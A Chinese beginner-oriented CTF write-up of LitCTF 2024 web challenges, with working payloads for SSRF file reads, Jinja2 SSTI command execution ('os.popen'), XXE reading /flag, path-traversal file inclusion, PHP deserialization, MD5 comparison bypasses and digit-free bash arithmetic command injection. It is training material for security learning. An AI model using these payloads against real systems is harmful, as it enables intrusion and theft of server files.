前段时间把LitCTF2024 web方向的题做完了。今天刚好有空整合一下wp,这里奉上题解大礼包一份~ 题解是比较偏向新手小白理解方向的。
刚入门web安全的可以去做一下。LitCTF的题其实都很适合新手练手,非常推荐新手入门食用。
结合NSSCTF靶场,每道题上都有考查方向。
目录
[LitCTF 2024]SAS - Serializing Authentication
[LitCTF 2024]浏览器也能套娃?
开题。
随便输了一个3283进去后。回显告诉我无效URL。那就意味着这里必须是有效的URL。题解方向是和URL相关的攻击。
那我随便输入一个有效的URL呢?【ctf.show】
确实得到了有效真实回显。表明注入处就是以URL获取flag。
这个时候其实SSRF就很有可能。试试可不可以访问本地。
而在我输入 http://127.0.0.1之后,得到了如下回显。
和主页是一模一样的。这也就意味这可以访问本地文件。而且当前界面就是本地界面。
为什么说可以访问本地的话就很有可能存在SSRF。
因为这个时候本地界面就相当于一个存在漏洞的中介一样。我直接访问存在FLAG的界面是不可以的。必然会被Forbiden掉的,但如果通过本地这个有漏洞的中介去访问是可以行得通的。
这就是我们利用SSRF获取FLAG的核心思想。
SSRF一般是用于访问本地网页/文件。
http://127.0.0.1/flag
没有告诉我是无效URL。但是跳转出的是一个空界面。
http://127.0.0.1/flag.php
告诉我无法访问。但不是无效。
换个输入方法,直接访问本地文件
file:///flag
拿到flag。
[LitCTF 2024]一个....池子?
开题。
需要我输入一些东西?
一般需要输入东西的,RCE,SQL注入,SSTI.....
随便输了个35
其实这个时候感觉有点像SSTI了哈。
输入
system('ls /');
到这里我就感觉跟命令执行没什么关系了。
输入
1'
输入
{{7*7}}
看来是SSTI无疑了。模板是jinja2。
输入
{{"".__class__}}
ok。
直接上payload打。【我习惯用这个payload,还蛮好用的】
{{lipsum.__globals__['os']['popen']('ls /').read()}} #一般用这个payload打比较容易拿flag。
{{lipsum.__globals__['os']['popen']('tac /flag').read()}}
这样来说。感觉没有过滤什么。
拿到flag。
我们这个时候可以反过去看看过滤了哪些字符。【配合BP爆破】
载入字典。【字典在我其他博客有的。】
测试之后发现基本上没有过滤的字符。
可以当是SSTI入门练手题了。适合刚刚接触SSTI食用。
[LitCTF 2024]exx
开题。
...
我勒个pornhub。
既然说是XXE,为了确定一下,我们随便输入一些密码登入再发包看看。
用最原始的payload读flag文件:【这里用模板即可】
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>
&xxe;
</username><password>123456</password></user>
撇开这道题,以后同类型的题目如果有过滤其他字符我们可以找替换。这道题的payload基本上就是最原始的,适用范围很大。
[LitCTF 2024]高亮主题(划掉)背景查看器
开题。
代码审计一下:
GET传参url,如果url之中含有【..】则回显【Access denied.】
反之则对传入的url进行文件包含。
综上。题目方向大概就是文件包含漏洞。
本想试试如果触发过滤机制。
就传入了:
/?url=../../../flag.php
但并没有设想中的回显【Access denied.】
什么都没有回显。
我再传入:
/?url=php://filter/convert.base64-encode/resource=flag.php
也是一样的结果。不报错也没有任何反应。
这可能意味着。参数url确实允许传入,但是不论我们传入什么都会被替换成空【避免被执行PHP代码】或者只是当作字符串。
但是注意到。我们用hackbar传参的时候。POST方法处有一个【theme1.php】
.php?
非常可疑。
试试它有没有反应。
这个回显就意味着,theme处才存在真正的文件包含漏洞。
而且根据它的报错回显
【Warning: include(): Failed opening 'themes/../../' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 11】
看到【../】大概方向是目录穿越漏洞。【个人经验之谈。】
本来写的好好的。用BP抓包才发现原来我根本没写../../../../../../flag
建议这边发包用BP。稳妥一些。
不知道为什么用Hackbar发包就是只给我传【../../】,其实我写的是【../../../../../../flag】。
拿到flag咯。算是一道简单的文件包含题目。
[LitCTF 2024]SAS - Serializing Authentication
开题。
随便写了点东西点击绿按钮看看什么反应。【建议结合BP看看】
再结合初始页面的码源。大概是个简单的php反序列化。
只要对对应的用户名和密码对应上了就好了。
用户名是admin,密码是secure_password
具体参考码源中这一句:
$this->username === 'admin' && $this->password === 'secure_password';
这个poc链非常好造。
//poc
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $password;
}
$a=new User();
$a->username ="admin";
$a->password = "secure_password";
#结合页面内容:$user = unserialize(base64_decode($data));而我们传入的就是data
$b=serialize($a);
$c=base64_encode($b);
echo $c;
?>
传入。
得到flag。
[LitCTF 2024]百万美元的诱惑
开题。
代码审计一下:
GET传参:a,b,c;
要求:a和b值不等但md5加密后二者需要若相等。c不能在is_numeric()处理后返回false。并且c需要大于2024。
a和b这里有两种绕过MD5的方法。
数组绕过 或 选一对在MD5加密后0e开头的字符【这里推荐一个博客:0e开头MD5值小结_0e开头的md5-CSDN博客】
c的绕过。这里可以去PHP手册上搜一下用法,这种思路对培养以后做题各方面都有好处。
这里显示 c 需要是 数字 或者 数字字符串 则返回 true。我们需要的目的是返回true。
而且不光是需要函数is_numeric返回true。
而且c要大于2024。
这里就有一个知识点: 数字字符串在和数字比较时候会自动转化成数字去比较。比如2025p会转化为2025。
payload:
//分别对应md5的两种绕过方法
a[]=1&b[]=2&c=2025a //法1
a=s878926199a&b=s214587387a&c=2025a //法2
回显【./dollar.php】
我们访问一下。
代码审计一下:
GET传参x。
x不能含有字母,数字,#等等。
但是flag在12.php中。
最终执行shell的地方是代码:system("cat".$x.".php");
所以我们需要让x的值为 12
不能用到数字,字母。
那我们只能通过取反或者异或的形式把12凑出来。
这里payload中我们用到一个知识。
在linux语法中,我们可以使用$(())
进行数学运算。
$((7*7))
回显49。
$(())
回显为0。
但是又不能写 $((3*4)) 虽然结果是12,但这一定会被ban掉。怎么办?
我们利用【~】取反字符。
$((~$(()))) # $(())是0,对0去反,即是先变-0,再减1,就是-1。最后对于-1用$(())取值。$((~$(()))) == $((~0))
回显-1
//解释一下如何理解这个取反过程。 $((~$(())))$((~$(()))) //回显-1-1。因为是2个【$((~$(())))】 $(($((~$(())))$((~$(()))))) //回显-2。对于两个-1取值。【等价于$((-1-1))】故回显-2 $(($(($((~$(())))$((~$(()))))))) //回显1。对-2取反后再取值【等价于$((~(-2)))】
同理。我们需要13个-1。再取反。$((~$(-13))) 即是 12
payload:
//这里我写一下过程。 $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) //13个-1 $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))) //13个-1加和 值为-13 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) //对-13取反。即先变13再减1=>12 //最终payload: $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
最终需要查看码源才能看得见flag。